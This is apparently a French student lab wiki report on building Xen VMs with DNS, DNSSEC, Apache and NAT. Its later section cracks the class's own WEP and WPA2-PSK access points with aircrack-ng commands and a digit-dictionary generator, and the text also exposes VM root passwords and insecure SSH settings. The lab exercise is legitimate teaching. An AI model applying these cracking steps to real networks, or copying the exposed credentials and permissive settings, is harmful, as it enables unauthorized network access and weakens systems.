Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
&lt;br /&gt;
===== Cassage WEP =====&lt;br /&gt;
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas. &lt;br /&gt;
&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme &amp;lt;code&amp;gt;wlx40a5ef0f679b&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;   &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                     Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                       [00:26:11] Tested 835 keys (got 68980 IVs)&lt;br /&gt;
                                                                                Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032) &lt;br /&gt;
    1    0/  1   CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288) &lt;br /&gt;
    2    2/  2   A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008) &lt;br /&gt;
    3    0/  1   D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264) &lt;br /&gt;
    4    7/  4   43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Cassage WPA-PKS =====&lt;br /&gt;
Ce script python permet de creer un dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):  # Pour générer des nombres de 00000000 à 99999999&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)  # Écrit le nombre avec 8 chiffres&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ou alors avec crunch :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite après execution nous pouvons recuperer le fichier .txt créer.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On récuperer le dump comme precedemment pour cette borne pour mon cas :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;44:AD:D9:5F:87:04  -43        3        5    2  13   54e. WPA2 CCMP   PSK  kracotte05&amp;lt;/code&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et ensuite après avoir récuperer 1 data minimum :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sécurisation WiFi par WPA2-EAP =====&lt;br /&gt;
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12154</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12154"/>
		<updated>2026-02-10T15:10:42Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Utiles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
